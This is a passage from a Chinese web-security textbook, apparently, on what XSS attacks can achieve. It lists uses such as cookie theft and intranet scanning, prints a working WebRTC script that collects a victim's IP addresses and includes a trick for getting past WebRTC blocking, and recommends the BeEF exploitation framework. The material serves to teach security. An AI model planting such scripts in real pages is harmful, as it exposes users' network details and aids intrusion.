上QQ阅读APP看书,第一时间看更新
3.4 危害与利用技巧
XSS漏洞利用的基础是脚本,攻击发生的位置是客户端浏览器。也就是说,在浏览器中脚本所能做的事情通过XSS漏洞都可以完成,而不仅仅是窃取Cookie。XSS漏洞可以实现的功能包括但不限于:
·窃取用户Cookie信息,伪造用户身份;
·与浏览器DOM对象进行交互,执行受害者所有可以执行的操作;
·获取网页源码;
·发起HTTP请求;
·使用HTML5 Geolocation API获取地理位置信息;
·使用WebRTC API获取网络信息;
·发起HTTP请求对内网主机进行扫描,对存在漏洞的主机进行攻击;
·...
如下代码展示了如何使用WebRTC API获取网络信息:
//获取与账户关联的IP地址 function getIPs(callback){ var ip_dups = {}; //兼容Firefox和Chrome var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var useWebKit = !!window.webkitRTCPeerConnection; //使用iframe绕过webrtc的拦截 if(!RTCPeerConnection){ //注意:你需要在script标签上方的页面中有一个iframe标签,比如 //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe> //<script>...这里调用getIPs... var win = iframe.contentWindow; RTCPeerConnection = win.RTCPeerConnection || win.mozRTCPeerConnection || win.webkitRTCPeerConnection; useWebKit = !!win.webkitRTCPeerConnection; } //数据连接的最低要求 var mediaConstraints = { optional: [{RtpDataChannels: true}] }; var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; //构造一个RTCPeerConnection对象 var pc = new RTCPeerConnection(servers, mediaConstraints); function handleCandidate(candidate){ //仅匹配IP地址 var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/ var ip_addr = ip_regex.exec(candidate)[1]; //删除重复项 if(ip_dups[ip_addr] === undefined) callback(ip_addr); ip_dups[ip_addr] = true; } //监听candidate事件 pc.onicecandidate = function(ice){ //跳过非candidate事件 if(ice.candidate) handleCandidate(ice.candidate.candidate); }; //创建伪造的数据通道 pc.createDataChannel(""); pc.createOffer(function(result){ pc.setLocalDescription(result, function(){}, function(){}); }, function(){}); //一秒后执行 setTimeout(function(){ //从本地描述中读取candidate信息 var lines = pc.localDescription.sdp.split('\n'); lines.forEach(function(line){ if(line.indexOf('a=candidate:') === 0) handleCandidate(line); }); }, 1000); } //测试 getIPs(function(ip){document.write(ip + '<br>');});
访问结果如图3-6所示,成功显示出了IP信息。
图3-6 WebRTC获取IP地址
这里再推荐一个非常好用的开源XSS漏洞利用平台:BeEF(The Browser Exploitation Framework),项目地址为https://github.com/beefproject/beef/。该平台中包含大量XSS代码,可供参考和学习。